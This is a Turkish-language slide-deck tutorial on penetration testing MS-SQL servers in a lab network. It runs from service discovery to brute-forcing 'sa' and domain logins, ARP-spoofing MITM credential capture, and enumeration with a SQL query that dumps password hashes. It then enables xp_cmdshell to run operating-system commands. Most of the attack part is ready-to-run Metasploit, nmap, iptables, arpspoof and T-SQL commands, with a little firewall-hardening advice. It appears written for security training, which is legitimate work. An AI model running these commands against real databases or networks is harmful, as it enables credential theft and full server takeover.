SlideShare una empresa de Scribd logo
1 de 42
MS-SQL Hacking ve
Post Exploitation Yöntemleri
Eyüp Çelik
Siber Güvenlik Danışmanı
http://www.eyupcelik.com.tr
EYÜP ÇELİK 1
http://www.eyupcelik.com.tr
1
İçindekiler
1. MS-SQL Servis Tespiti ve Bilgi Toplama........................................................................ 3
1.a Nmap ile Servis Tespiti.................................................................................................... 3
1.b Metasploit ile Servis Tespiti ............................................................................................ 6
1.c Microsoft SQL Server Management Studio ile Servis Tespiti ..................................... 7
1.d paping ile Servis Tespiti.................................................................................................. 8
1.e amap ile Servis Tespiti.................................................................................................... 8
2. MS-SQL Hacking ............................................................................................................ 9
2.a Brute-Force ..................................................................................................................... 9
2.a.1 Domain Kullanıcılarına Yönelik Brute Force Saldırısı ............................................... 9
2.a.2 MS-SQL Kullanıcılarına Yönelik Brute Force Saldırısı ..............................................10
2.a.2.a Metasploit ile MS-SQL’e Brute Force Saldırısı .....................................................10
2.a.2.b Nmap ile MS-SQL’e Brute Force Saldırısı.............................................................11
2.a.2.c C# ile MS-SQL’e Brute Force Saldırısı ..................................................................13
2.a.3 MS-SQL Kullanıcılarına Yönelik MITM Saldırısı .........................................................17
3. MS-SQL Post Exploitation ............................................................................................20
3.a MS-SQL Enumeration...................................................................................................20
3.a.1 Metasploit ile MS-SQL Enumeration........................................................................20
3.a.2 C# ile MS-SQL Enumeration ....................................................................................21
3.b Command Execution ile Sisteme Sızma ...................................................................25
3.b.1 Metasploit Command Execution ve Sızma...........................................................25
3.b.2 C# ile Command Execution ve Sızma...................................................................26
3.c.1 İşletim Sistemine Kullanıcı Hesabı Ekleme ve Yetkilendirme................................28
3.c.2 Windows Servislerini Yönetme .................................................................................29
3.c.3 İşlemleri Yönetme......................................................................................................29
3.c.4 Dosya ve Dizinleri Yönetme .....................................................................................29
3.c.5 Ağı Yönetme..............................................................................................................30
3.c.6 Windows Yamalarını Yönetme................................................................................30
3.d MS-SQL Dosya İndirme ve Zararlı Kod Çalıştırma.....................................................30
3.d.1 Windows’a Dosya İndirme.......................................................................................30
3.d.2 Windows’a Zararlı Dosya İndirme ve Ters Bağlantı Alma ....................................31
3.d.3 Meterpreter ile Ters Bağlantı Alma .........................................................................36
4. Hak ve Yetki Yükseltme ..............................................................................................37
5. İzlerin Temizliği (Anti-Forensics) ..................................................................................40
EYÜP ÇELİK 2
http://www.eyupcelik.com.tr
2
MSSQL; Microsoft tarafından yaklaşık 15+ yıldır geliştirilen bir veritabanı yönetim
sistemidir. Başlıca MS-SQL 2000, MS-SQL 2005, MS-SQL 2008, MS-SQL 2012, MS-SQL 2014
ve MS-SQL 2016 olmak üzere 5 ayrı dağıtım ile tanıştık. MS-SQL’i diğer veritabanlarından
ayıran en önemli özelliklerinin başında, diğer Microsoft ürünleri ile entegrasyon
gelmektedir. Bu entegrasyonun özellikle. NET çatısı ile birleştirilmesi sonucu ürün, birçok
kuruma girmeyi başardı. MS-SQL; Oracle ve MySQL gibi ciddi rakiplerinin arasında
sağlam bir yer edinmeyi başardı. (Ürünü övüp reklam yapmıyorum)
Hal böyle olunca da MS-SQL sızma testlerinde ciddi bir hedef haline geldi diyebiliriz. Bu
yazımda MS-SQL bilgi toplama, Brute Force, Sızma, Erişim Elde Etme, Malware
(Backconnect) ve diğer Post-Exploitation işlemlerine güncel yöntemler ile değinmeye
çalışacağım. Tüm bunların yanında, kendi deneyimlerim, güncel sorun ve çözümleri de
ayrıca paylaşacağım. Şimdi adım adım MS-SQL sızma konusuna değinelim.
Not: Bu içerik, Kali Linux dağıtımının kurulu olduğu ve MS-SQL sunucusu ile aynı ağda
olduğu varsayılarak yazılmıştır. Kali Linux işletim sistemi NAT ile bağlanmış ve IP’si
aşağıdaki gibidir.
Network Topolojimiz de aşağıdaki gibidir.
EYÜP ÇELİK 3
http://www.eyupcelik.com.tr
3
Saldırganın network’e dahil olduğu ve sunucu ağına erişebildiği varsayılmıştır. Buna
göre ağımızda 2 adet MS-SQL, MS-SQL’lerin bağlı olduğu bir Domain Controller ve DMZ
alanında koşan, SQL’e bağlanabilen dinamik bir web sunucusu mevcuttur. Tüm
doküman bu test ortamı üzerinden anlatılacaktır.
1. MS-SQL Servis Tespiti ve Bilgi Toplama
Her şeyden önce dâhil olduğumuz ağdaki MS-SQL servislerini ve sürümlerini bulmakla
işe başlayabiliriz. Servis tespiti için; Nmap, MetaSploit, Microsoft SQL Server
Management Studio, paping ve amap’ten faydalanabiliriz. 5 Aracı da ayrı ayrı
inceleyeceğiz.
1.a Nmap ile Servis Tespiti
Kali işletim sistemini açarak bir terminale erişelim. “nmap -A -v -p 1433
192.168.139.0/24” komutu ile 192.168.139.1-192.168.139.254 IP adresi aralığında, 1433
portu açık olan sunucuları tarayabiliriz.
nmap -A -v -p 1433 192.168.139.0/24
EYÜP ÇELİK 4
http://www.eyupcelik.com.tr
4
Tarama çıktısı yukarıdaki gibi olacaktır. Bu çıktıya göre 192.168.139.0/24 ağında,
192.168.139.102 IP adresinin MS-SQL yayını yaptığını ve MS-SQL Server 2012 sürümünü
kullandığını görebiliriz.
Nmap içerisinde yer alan ve MS-SQL servis bilgelerini almak için kullanabileceğimiz bir
diğer araç da Nmap “ms-sql-info” scriptidir. Scripti kullanabilmek için;
nmap --script ms-sql-info 192.168.139.167
Diğer taramamızın da çıktısı aşağıdaki gibi olacaktır.
Üstteki Nmap çıktısına göre 192.168.139.167 IP adresi Microsoft SQL Server 2014 SP1
versiyonuna sahip, diyebiliriz.
EYÜP ÇELİK 5
http://www.eyupcelik.com.tr
5
Önemli Not: Bu bilgileri alabilmemizin sebebi MS-SQL’in TCP/IP bağlantılarına izin
verilmesinden kaynaklıdır. “SQL Server Configuration Manager”da “SQL Server Network
ConfigurationProtocols for $MSSQLInstanceName” tabı altında yer alan TCP/IP
seçeneğinin “Enabled” olmasından kaynaklanmaktadır. Bu seçeneğin aktif olması,
ağdaki diğer cihazların MS-SQL portuna erişebilmesini sağlamaktadır. Normal şartlar
altında MS-SQL servisine bağlanacak IP adreslerinin kısıtlanmasını tavsiye edebilirim.
Eğer MS-SQL servisine sadece 192.168.139.1 IP adresi bağlanacaksa, Windows
Güvenlik Duvarı’nda erişim tanımlaması yapmamız gerekir. Bunun için komut satırına
ya da çalıştır’a “wf.msc” yazarak, “Windows Firewall with Advanced Security”e
erişelim. Ardından sol tarafta yer alan “Inbound Rules” menüsüne erişerek, sağ tarafta
yer alan “New Rule”a tıklayalım.
Yeni kural tanımlama ekranından “Port”u seçerek, Next’i tıklayalım. “TCP”yi seçip,
“Spesific local ports”a “1433” yazarak Next’i tıklayalım. Action kısmına “Allow
Connection”ı seçerek Next’i tıklayalım. Yeni oluşturduğumuz Rule’un etkili olacağı
Profilleri işaretleyip, Next’i tıklayalım. Oluşturduğumuz Rule’a bir isim (MS-SQL) vererek,
Finish diyelim. Oluşturduğumuz Rule, Inbound Rules kısmına düşecek. Şimdi
oluşturduğumuz Rule’u çift tıklayıp, üstte bulunan “Scope” menüsüne tıklayalım.
Aşağıda bulunan “Remote IP Address” kısmının sağ tarafındaki “Add”e tıklayalım. İzin
vermek istediğimiz IP adresini veya aralığı yazalım. Biz 192.168.139.1 IP adresine izin
vereceğimiz için bu IP adresini yazıp, “Apply” diyelim. Artık, MS-SQL sunucumuza
sadece izin verdiğimiz IP adresi bağlanabilecek. Eğer dilersek bir IP aralığı da Wildcard
Mask kullanarak verebiliriz. Örneğin; sadece 192.168.139.0-192.168.139.255 IP
aralığındaki bir herhangi bir IP’nin bağlanmasını istiyorsak; 192.168.139.0/24 şeklinde bir
EYÜP ÇELİK 6
http://www.eyupcelik.com.tr
6
girdi ile bu aralıktaki tüm IP adreslerine izin vermiş oluruz.
Normal şartlar altında, MS-SQL gibi kritik verilerin olabileceği sunucuların bir aralığa
değil de her IP adresi için özel olarak kısıtlanması gerekir.
1.b Metasploit ile Servis Tespiti
Metasploit Framework’ü de MS-SQL servis bilgilerini toplamak konusunda bize yardımcı
olabilecek bir diğer araç olarak kullanabiliriz. Bilgi toplama işlemi için, MSF (Metasploit
Framework) içerisinde yer alan “auxiliary/scanner/mssql/mssql_ping” Auxiliary
modülünü kullanabiliriz. 192.168.139.167 IP adresi için bir tarama başlatacağız.
Kali işletim sistemimizde bir konsol açalım. Ardından “msfconsole” komutunu kullanarak
MSF konsolunu başlatalım. Sırası ile aşağıdaki komutları çalıştıralım.
use auxiliary/scanner/mssql/mssql_ping
set RHOSTS <IP Adresi yada IP Aralığı>
run
EYÜP ÇELİK 7
http://www.eyupcelik.com.tr
7
1.c Microsoft SQL Server Management Studio ile Servis Tespiti
Ağdaki MS-SQL servislerinin tespiti için “Microsoft SQL Server Studio Manager”dan da
yararlanabiliriz. Bunun için Microsoft SQL Server Management Studio’yu açalım. File
menüsünden “Connect Object Explorer”a tıklayalım. Karşımıza gelen oturum açma
alanından “Server Name”e erişelim. Buradan aşağı doğru bakan ok işaretini tıklayarak,
<Browse for more…> seçeneğini seçelim. Bu seçeneği tıklamamızın ardından yeni bir
menü karşımıza gelecek. Üst kısımda yer alan “Network Servers” menüsüne tıklayalım.
Bulunduğumuz ağdaki yayın yapan MS-SQL sunucularının listesi ve versiyonları burada
gözükecektir.
Dip Not: MS-SQL servislerinin “Network Servers” menüsünde görünebilmesi için, yayın
yapan MS-SQL sunucusunda “SQL Server Browser” servisinin çalışıyor olması
gerekmektedir. Bu servis çalışmıyorsa, “Network Servers” menüsünden SQL sunucusunu
göremiyoruz.
EYÜP ÇELİK 8
http://www.eyupcelik.com.tr
8
1.d paping ile Servis Tespiti
MS-SQL servis tespiti için kullanabileceğimiz bir diğer araç da “paping” uygulamasıdır.
Bu uygulama daha çok bir IP adresindeki portları pinglemek için yazılmış olsa da servis
tespiti için kullanılabilecek uygulamalardan biridir. Açık kaynak kodlu bu uygulamayı
https://code.google.com/archive/p/paping/ adresinden indirebiliriz.
paping uygulaması -p parametresi ile port bilgisini alarak, belirtmiş olduğumuz IP
adresindeki servisi pingleyerek, servisin açık olup olmadığını kontrol etmek için
kullanabiliriz. Yukardaki ekran görüntüsünde “paping -p 1433 192.168.139.102” komutu
ile 192.168.139.102 IP adresinin 1433 portunu pingleyerek, MS-SQL servisinin çalışıp
çalışmadığını anlayabiliriz.
1.e amap ile Servis Tespiti
Servis tespiti için kullanabileceğimiz bir diğer araç ise “amap”. amap Kali Linux ile
birlikte gelen ve “Banner Grabbing” yapabilen bir araçtır. Bu araç ile belirttiğimiz portta
yayın yapan uygulamanın servis bilgilerini alabiliriz.
amap -A 192.168.139.167 1433
amap ile MS-SQL servisi hakkında, yukarıdaki gibi bilgi alabiliriz.
EYÜP ÇELİK 9
http://www.eyupcelik.com.tr
9
2. MS-SQL Hacking
Şimdiye kadar MS-SQL hakkında bilgi toplama işlemleri gerçekleştirdik. Ağda bulunan
servisler, bu servislerin versiyonlarını ve IP adreslerini bulduk. Artık MS-SQL için hacking
konusuna geçebiliriz. MS-SQL hacking konusunu da 2 ana başlık altında inceleyeceğiz.
2.a Brute-Force
Brute force, en çok kullanılan MS-SQL saldırı yöntemlerinin başında gelir. Şimdiye kadar
gerek kamu gerekse de özel kuruluşlara yapmış olduğum sızma testlerinde mutlak
sonuca götüren yöntemlerden biri diyebilirim. Kurum ve kuruluşlarda özellikle test
sunucularında oldukça başarılı bir yöntemdir. Birçok kurum ve kuruluşta bu yöntem ile
“Domain Admin” hesabını ele geçirdim. Özellikle yazılım geliştiren kurum ve
kuruluşlarda, daha hızlı ve pratik kullanım için MS-SQL sunucuları varsayılan olarak
güvenliğe dikkat edilmeden bırakılmaktadır.
MS-SQL veritabanı 2 oturum açma türüne sahiptir. Bu oturum açma türleri, MS-SQL ilk
kurulumu sırasında ayarlanarak, veritabanı hizmeti yüklenir. 1- Windows Authentication
2- SQL Server Authentication. Windows Authentication; hem yerel hem de domain
kullanıcılarının SQL sunucusuna başka bir şifre girmelerine gerek kalmadan oturum
açabilmelerine olanak tanır. SQL Server Authentication ile de varsayılanda “sa”
kullanıcısı için bir parola belirlenerek kurulum tamamlanır. Sadece Windows ile oturum
ya da Mixed mod ile hem Windows hem de SQL Server kullanıcı hesabı ile oturum
açılabilmektedir.
Brute force işte tam bu noktada imdadımıza yetişmektedir. MS-SQL için brute force
işlemini iki başlık altında inceleyebiliriz. 1- SQL’de oturum açma hakkına sahip domain
kullanıcıları 2- SQL kullanıcıları için şeklinde inceleyebiliriz.
2.a.1 Domain Kullanıcılarına Yönelik Brute Force Saldırısı
Bu yöntem biraz uğraş isteyen yöntemlerden biridir. Öncelikle yazılım geliştiren ya da
veritabanı yöneticisi olan kişilerin sosyal ağlardan bulunması ile işe başlanabilir. Burada
yapacağımız ilk işlerden biri, test yaptığımız kurum veya kuruluştaki SQL’de oturum
açabilecek kullanıcıların Linkedin, Twitter veya Facebook üzerinden aratmamız
gerekecektir. Aradığımız personeli bulduktan sonra bu personel için brute force işlemi
başlatabiliriz. Bu işlem için kullanabileceğimiz en sağlıklı araç, Metasploit içerisinde yer
alan “auxiliary/scanner/smb/smb_login” modülü olacaktır.
use auxiliary/scanner/smb/smb_login
set RHOSTS <IP Adresi yada IP Aralığı>(Domain kullanıcıları için en sağlıklı host,
DC’nin IP’si dir.)
set SMBDOMAIN <Domain Adresi>
set USER_FILE <Kullanıcı Adlarının Olduğu Dosya>
set PASS_FILE <Şifre Dosyası>
run
EYÜP ÇELİK 10
http://www.eyupcelik.com.tr
10
MSF ile SMB servisi için bir brute force işlemi başlattık. Test sonunda “secuirtylabs.local”
domainde “db” kullanıcısının “Password1” parolasına sahip olduğunu tespit ettik. Elde
ettiğimiz kullanıcı hesabı ile MS-SQL’e sızma işlemini bir sonraki bölümde detaylıca
inceleyeceğiz.
2.a.2 MS-SQL Kullanıcılarına Yönelik Brute Force Saldırısı
MS-SQL’e gelen saldırıların büyük çoğunluğu SQL kullanıcı hesaplarına yönelik
yapılmaktadır. Özellikle MS-SQL varsayılan yönetici hesabı olan “sa” hesabına yönelik
saldırılar ile SQL veritabanı ele geçirilmeye çalışılır. Bu bölümde MS-SQL’e brute force
işlemi yapabilen 2 araçla birlikte, .NET (C#) ortamında brute force işlemini kendi
programımız ile nasıl gerçekleştirebileceğimize de değineceğim.
2.a.2.a Metasploit ile MS-SQL’e Brute Force Saldırısı
MS-SQL kullanıcı hesaplarına yönelik Metasploit’de bulunan
“auxiliary/scanner/mssql/mssql_login” modülünü kullanabiliriz. Bu Auxiliary modülü ile
MS-SQL kullanıcılara brute force yapabiliriz.
use auxiliary/scanner/mssql/mssql_login
set RHOSTS <IP Adresi yada IP Aralığı>(Domain kullanıcıları için en sağlıklı host,
DC’nin IP’si dir.)
set USER_FILE <Kullanıcı Adlarının Olduğu Dosya>
set PASS_FILE <Şifre Dosyası>
set THREADS 10 (Şifre dosyasının büyüklüğüne göre thread ayarlayarak testi
hızlandırabiliriz)
run
EYÜP ÇELİK 11
http://www.eyupcelik.com.tr
11
MS-SQL için Metasploit üzerinden başlattığımız brute force işlemi başarı ile tamamlandı.
“sa” kullanıcısının “Password1” parolasını sahip olduğu tespit edildi. Bundan sonra
yapacağımız işlem, parolası tespit edilen kullanıcı hesabı ile MS-SQL sunucusuna
erişerek, komut çalıştırmak olacaktır.
2.a.2.b Nmap ile MS-SQL’e Brute Force Saldırısı
MS-SQL brute force işlemi için kullanabileceğimiz bir diğer araç da “Nmap”te bulunan
“ms-sql-brute” scriptidir.
nmap --script ms-sql-brute --script-args userdb=<kullanıcı dosyası>,passdb=<şifre
dosyası> IP yada IP Aralığı
EYÜP ÇELİK 12
http://www.eyupcelik.com.tr
12
192.168.139.102 IP adresi için başlattığımız test tamamlandı. “sa” kullanıcısı için
“Password1” parolasını tespit etmiş. Nmap scripti en gelişmiş tekniklere sahip brute
force aracıdır. Üstteki resimde görüleceği üzere bir kullanıcı dosyası ve bir şifre dosyası
ile MS-SQL brute force işlemini başlatmıştım. Bunun dışında “2.a.1 Domain
Kullanıcılarına Yönelik Brute Force Saldırısı” başlığı altında “smb” şifresini bulduğumuz
kullanıcı hesabı gibi “domain” kullanıcılarına da yönelik şifre denemesi
gerçekleştirebilir.
nmap -p 1433 --script ms-sql-brute --script-args "ms-sql-brute.brute-windows-
accounts=true,userdb=/root/Desktop/userfile.txt,smbdomain=securitylabs.local,sm
bport=445,passdb=/root/Desktop/passfile.txt,mssql.domain=securitylabs.local"
192.168.139.102
ms-sql-brute scripti içerisinde yer alan SMB seçenekleri ile MS-SQL’de oturum açabilen
domain kullanıcılarına yönelik brute force testi başlattık.
Script, MS-SQL için yapılan brute force işleminde domainde bulunan “db” kullanıcısının
şifresini tespit etmiştir.
EYÜP ÇELİK 13
http://www.eyupcelik.com.tr
13
2.a.2.c C# ile MS-SQL’e Brute Force Saldırısı
Bu bölümde de MS-SQL için C# ile basit bir brute force aracını nasıl yazabileceğimize
değineceğim. Visual studio’dan yeni bir proje oluşturalım. Form ekranına aşağıdaki gibi
controlleri ekleyelim.
Forma 3 adet buton, 2 adet textbox ekledim. Kullanıcı dosyası için btnKullanici, şifre
dosyası için btnSifre ve başlat butonu için btnBaslat isimlerini verdim. IP adresi için txtIP
ve loğları yazdırmak için de txtStatus adında controllerimi isimlendirdim. Ayrıca
globalde de iki adet “Generic List” oluşturdum.
Globalde oluşturduğumuz generic list’ler yukarıdaki resimde görüldüğü gibi olacak.
btnKullanici’dan ve btnSifre’den seçtiğimiz dosyalar bu generic listler içerisine
doldurulacak.
EYÜP ÇELİK 14
http://www.eyupcelik.com.tr
14
Kullanıcı dosyası seçildikten sonra aynı işlemi şifre dosyası için de uyguluyoruz.
EYÜP ÇELİK 15
http://www.eyupcelik.com.tr
15
Tüm bu işlemlerin ardından artık brute force işlemi için metodumuzu yazmaya
koyulabiliriz. Bunun için “BruteForce” adında bir metod tanımladım. Metodumuz da
aşağıdaki gibi olacaktır.
Oluşturduğumuz metod yukarıdaki gibi olacak. Geriye bir tek işlem kaldı, bu brute force
metodunu çalıştırmak.
EYÜP ÇELİK 16
http://www.eyupcelik.com.tr
16
btnStart için bir Task oluşturup, bu taska da BruteForce isimli oluşturduğumuz metodu
tanımlıyoruz. Artık her şeyimiz hazır. Unutmadan! Form’un load event’ına da
“CheckForIllegalCrossThreadCalls = false;” u ekliyoruz. Çünkü metodumuzu bir task
içerisine doldurduk ve metod içerisinde txtStatus’e yazı yazdırıyoruz, dolayısı ile bunu
vermez isek “InvalidOperationException” alacağız.
Kodları derleyip programı başlatıyoruz. Ve testimizin sonucu yukarıdaki gibi olacaktır.
Program başarılı bir şekilde brute force için kullanılabilir. Yazının en sonunda programın
kaynak kodlarını da paylaşacağım. Kopyala yapıştır yerine biraz yazmaya teşvik etmek
için kodları bilerek resim olarak veriyorum.
EYÜP ÇELİK 17
http://www.eyupcelik.com.tr
17
2.a.3 MS-SQL Kullanıcılarına Yönelik MITM Saldırısı
Bu saldırı türünde ise MS-SQL kullanıcı hesaplarını ele geçirmek için MITM saldırısı
yapacağız. MITM saldırısı ile ağda MS-SQL oturumu açan kullanıcının erişim bilgilerini
ele geçireceğiz. Bunun için birkaç işlemi / aracı bir arada kullanmamız gerekiyor.
1. IP Forwarding
2. NAT
3. Metasploit
4. Arp Spoof
1. IP Forwarding
Öncelikle 192.168.139.164 IP adresine sahip saldırgan makinamızda (Kali Linux)
ip_forwarding’i aktif etmemiz gerekiyor. Bunun için; “echo 1 >
/proc/sys/net/ipv4/ip_forward” komutu ile ip_forward özelliğini aktif ediyoruz.
Bir sonraki adımda NAT kuralı oluşturmamız gerekiyor. MITM saldırısına maruz kalacak
kullanıcı MS-SQL’e erişim sağlamaya çalıştığında, erişim sağlamaya çalıştığı trafiği bize
yönlendirecek. Yani; kurbanımız MS-SQL veritabanına erişim sağlamak için 1433
portuna bağlandığında, oluşan trafiği bizim Kali Linux’umuzdaki sahte 1433 portuna
yönlendirecek. Böylece trafiği yakalayarak içeriğini okuyabileceğiz.
2. NAT
“iptables -t nat -A PREROUTING -p tcp -d 192.168.139.102 --dport 1433 -j REDIRECT --to-
ports 1433” komutu ile kurbanımız 1433 portuna yönlendirilmiş olacak ve
192.168.139.102 (MS-SQL DB) IP adresinin 1433 portuna giden trafiğin arasına girmemizi
sağlayacak.
3. Metasploit
Gerekli ayarları yaptıktan sonraki adımımız, MS-SQL’e giden trafiği sniff etmemiz
olacaktır. Bunun için de Metasploit Framework içerisinde bulunan
“auxiliary/server/capture/mssql” auxiliary modülünü kullanacağız. Yeni bir konsol
ekranı açarak aşağıdaki konfigürasyonu gerçekleştirelim.
EYÜP ÇELİK 18
http://www.eyupcelik.com.tr
18
use auxiliary/server/capture/mssql
run
Varsayılan ayarlar bizim için yeterli olacaktır. Bu hali ile komutumuzu girip, sniff işlemini
çalışır duruma getiriyoruz. Artık geriye bir tek işlemimiz kaldı, ARP Spoof yaparak trafiği
Kali Linux makinamıza yönlendirmek.
4. ARP Spoof
Bu işlem ile MS-SQL’e giden trafiği Kali Linux makinamıza yönlendireceğiz. Böylece
kurban MS-SQL’de oturum açmaya çalışırken şifresini Metasploit ile yakalayacağız.
Dip Not: Kurban olarak seçeceğimiz makine çok önemli! Yani öyle bir makine
seçmeliyiz ki MS-SQL’e bağlansın. Ben MITM için Web Sunucularına arp spoof
yapılmasını tavsiye ediyorum. Çünkü .net ile geliştirilmiş uygulamalar genel itibari ile MS-
SQL’e bağlanırlar. Web uygulamasının bulunduğu sunucuyu spoof ettiğimizde
başarıya ulaşma şansımız oldukça yüksektir. Tabi birkaç dakikalık kesinti problem
değilse…
En başta network topolojimizi paylaşmıştım. Ağda yayın yapan Web Server (IIS)
192.168.139.163 IP adresinde yayın yapıyor.
“arpspoof -i <interface> -t <kurban> <MS-SQL server>“ komutu ile ARP Spoof işlemini
başlatıyoruz. Hemen ardından Web sunucusuna bir browser aracılığı ile erişip, MS-SQL’e
bağlanmasını sağlıyoruz. MS-SQL’e bağlantı isteği gittiğinde ise şifreyi dump edeceğiz.
EYÜP ÇELİK 19
http://www.eyupcelik.com.tr
19
Web uygulamasına eriştiğimizde, yukardaki resimde görüleceği üzerine hata alacağız.
Uygulama MS-SQL’e bağlanamadığı için hataya düşecektir. Şimdi Metasploit
framework e geri dönüp, dump edilen şifreye bakalım.
Görüleceği üzere MS-SQL bağlantısı gerçekleştirilmiş ve erişim bilgileri elde edilmiştir.
EYÜP ÇELİK 20
http://www.eyupcelik.com.tr
20
3. MS-SQL Post Exploitation
Şimdiye kadar MS-SQL servis tespiti ve sızma konularına baktık. Bundan sonra şifresi elde
edilen MS-SQL kullanıcı hesabı ile post Exploitation kısmına değineceğiz. Elde ettiğimiz
verilerle diğer sistemlere sızmaya çalışacağız. Bu adımdaki amacımız “Domain
Controller”ı ele geçirmek olacaktır. Ancak bu konuyu da birkaç başlık altında
inceleyeceğiz.
3.a MS-SQL Enumeration
Bu adımda elde ettiğimiz şifre bilgilerini kullanarak diğer MS-SQL kullanıcılarının bilgilerini
ele geçirmeye çalışacağız. Bunun için de birkaç aracı kullanacağız.
3.a.1 Metasploit ile MS-SQL Enumeration
Elde ettiğimiz şifreyi kullanarak MS-SQL sunucusuna erişerek, diğer kullanıcıların erişim
bilgilerini elde etmeye çalışacağız. Bunun için “auxiliary/admin/mssql/mssql_enum”
Auxiliary modülünü kullanacağız.
use auxiliary/admin/mssql/mssql_enum
set RHOSTS <IP Adresi>
set USERNAME <Kullanıcı Adı>
set PASSWORD <Şifre >
run
mssql_enum modülü ile MS-SQL’de oturum açabilen kullanıcı hesapları, database
dosyaları ve yetkili kullanıcı hesap adları gibi birçok bilgiyi elde edebiliriz.
EYÜP ÇELİK 21
http://www.eyupcelik.com.tr
21
Modülün çıktısı yukarıdaki gibi olacaktır. Oturum açabilen kullanıcılar ve database
dosyalarının bulunduğu dizinlerin bilgisini aldık.
3.a.2 C# ile MS-SQL Enumeration
Bu bölümde C# kullanarak MS-SQL Enumeration işlemlerini yapabiliriz. Bunun için
“2.a.2.c C# ile MS-SQL’e Brute Force Saldırısı” bölümünde yaptığımız uygulamayı
geliştireceğiz. Uygulamamıza aşağıdaki gibi kontrolleri ekleyelim.
EYÜP ÇELİK 22
http://www.eyupcelik.com.tr
22
Kullanıcı adını için txtKullanici, şifre için txtSifre, IP adresi için txtIPAdres, Enumeration için
cmbEnumeration, ayrıca komutları kendimiz yazmak için txtKomut ve girdiğimiz verileri
çalıştırmak için de btnCalistir adında kontrolleri ekliyoruz. cmbEnumeration adında
ComboBox’ımıza “User Enumeration” adında bir Item ekliyoruz. Şimdi kodlamaya
geçelim. “UserEnumeration” adında bir metod tanımlıyoruz.
Kodumuz yukarıdaki gibi olacak. İki ayrı sorgu çalıştırıyoruz. Birinci sorgu MS-SQL’deki
tüm kullanıcıları, ikinci sorgu ise MS-SQL’deki yetkili kullanıcı isimlerini bize döndürecek.
EYÜP ÇELİK 23
http://www.eyupcelik.com.tr
23
Kodumuzu yazdıktan sonra da btnCalistir’ın Click event’ına yukardaki gibi bir koşul
ekliyoruz. Buna göre cmbEnumeration combobox’ından seçilen veri “User
Enumeration” ise bir Task başlatıp, metodumuzu çalıştıracak.
Programımızın çıktısı yukarıdaki gibi olacak. Artık kendi uygulamamız üzerinden bu
işlemleri rahatlıkla yapabiliriz. Şimdi daha geniş bir Enumeration işlemi için birkaç kod
paylaşacağım. Bu kodları da kullanarak uygulama için tanımlamalar yapabiliriz.
SQL Komutu Açıklama
select name from master..sysdatabases Tüm veritabanlarını gösterir
select name from master.sys.sql_logins
where is_expiration_checked = 0
Parolasının süresi bitmeyen kullanıcıları
gösterir
SELECT CAST(SYSOBJECTS.NAME AS CHAR) FROM
SYSOBJECTS, SYSPROTECTS WHERE
SYSPROTECTS.UID = 0 AND XTYPE IN ('X','P')
AND SYSOBJECTS.ID = SYSPROTECTS.ID
Kullanılabilir prosedürleri gösterir
SELECT name, password_hash FROM
master.sys.sql_logins
Kullanıcıların hash’lerini dump eder
DECLARE @RegLoc VARCHAR(100)
select
@RegLoc='SOFTWAREMicrosoftWindows
NTCurrentVersion'
Registry kayıt okuma
EYÜP ÇELİK 24
http://www.eyupcelik.com.tr
24
EXEC [master].[dbo].[xp_regread]
@rootkey='HKEY_LOCAL_MACHINE',
@key=@RegLoc,
@value_name='ProductName'
Ben yukarıdaki tabloda oturum açan kullanıcıların hash’lerini dump edecek SQL
kodunu yazdım. Ayrıca bu kodu uygulama içinde de tanımladım. Uygulama dışında
Metasploit Framework ile de hash’lerin dump’ı alınabilmektedir. Bunun aşağıdaki gibi
Metasploit modülünü çalıştırarak diğer kullanıcıların hash’lerini dump edebiliriz.
Ayrıca geliştirdiğimiz uygulamadan da aldığımız hash dump aşağıdaki gibi olacaktır.
EYÜP ÇELİK 25
http://www.eyupcelik.com.tr
25
3.b Command Execution ile Sisteme Sızma
Bu bölümde elde ettiğimiz şifreler ile MS-SQL sunucusunda komutlar çalıştırarak MS-SQL
sunucusunu ele geçireceğiz. Daha sonra da “Domain Controller”ı ele geçirmeye
çalışacağız. MS-SQL veritabanında “xp_cmdshell” üzerinden komut gönderebiliriz.
Ancak varsayılanda “xp_cmdshell” stored procedure’u kapalı olarak gelmektedir.
Eğer elde ettiğimiz kullanıcı hesabı, “sysadmin” hak ve yetkilerine sahipse bu stored
procedure’ü aktif edebiliriz. Bunun için 2 yöntem kullanacağız.
3.b.1 Metasploit Command Execution ve Sızma
MS-SQL’de bulunan “auxiliary/admin/mssql/mssql_exec” Auxiliary modülünü
kullanarak işletim sistemine komut göndereceğiz. Modülün kullanımı aşağıdaki gibidir.
Not: mssql_exec Auxiliary modülü, ilk çalıştırılma anında eğer “xp_cmdshell” store
procedur’ü aktif değil ise aktif duruma almakta, ardından komutumuzu bu prosedüre
üzerinden çalıştırmaktadır.
use auxiliary/admin/mssql/mssql_exec
set RHOSTS <IP Adresi>
set USERNAME <Kullanıcı Adı>
set PASSWORD <Şifre >
set CMD “Komut”
run
EYÜP ÇELİK 26
http://www.eyupcelik.com.tr
26
İlk olarak “whoami” komutu ile işletim sisteminin hangi kullanıcı hak ve yetkilerine sahip
olduğuna bakabiliriz. Yukarıdaki ekran çıktısında MS-SQL servisinin “nt
authoritysystem” hak ve yetkilerine sahip olduğu görülmektedir. Servis bir Windows
işletim sistemindeki en yetkili hesap ile çalışıyor diyebiliriz.
3.b.2 C# ile Command Execution ve Sızma
Şimdi aynı işlemleri geliştirdiğimiz uygulama üzerinden yapalım. Bunun için
uygulamamıza “CommandExecute” adında bir metod tanımlayalım. Ve metodumuz
için yazacağımız kodlar da aşağıdaki gibi olacaktır.
Kodlarımızı yukarıdaki gibi yazdıktan sonra “Çalıştır” butonumuza da gerekli
tanımlamaları yapmamız lazım.
EYÜP ÇELİK 27
http://www.eyupcelik.com.tr
27
Çalıştır butonumuzun else koşulunu da yukarıdaki gibi dolduruyoruz. Yani kullanıcı hazır
komutlar yerine txtKomut’a girdiği komutlar MS-SQL üzerinde çalıştırılarak bize geri
döndürülecektir. Programı ilk çalıştırdığımızda eğer “xp_cmdshell” aktif değilse
aşağıdaki kod ile aktif duruma alabiliriz.
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC sp_configure 'show advanced options', 0;
RECONFIGURE;
Uygulamamızı başlatarak, yukarıdaki kodu Komut kısmına yapıştırıp komutumuzu
çalıştıralım. Ardından “EXEC xp_cmdshell ‘whoami’;” komutu ile MS-SQL servis
hesabının hak ve yetkilerini kontrol edebiliriz.
Uygulamamızın çıktısı yukarıdaki gibi olacaktır. Artık uygulamamızı rahatlıkla
kullanabiliriz.
EYÜP ÇELİK 28
http://www.eyupcelik.com.tr
28
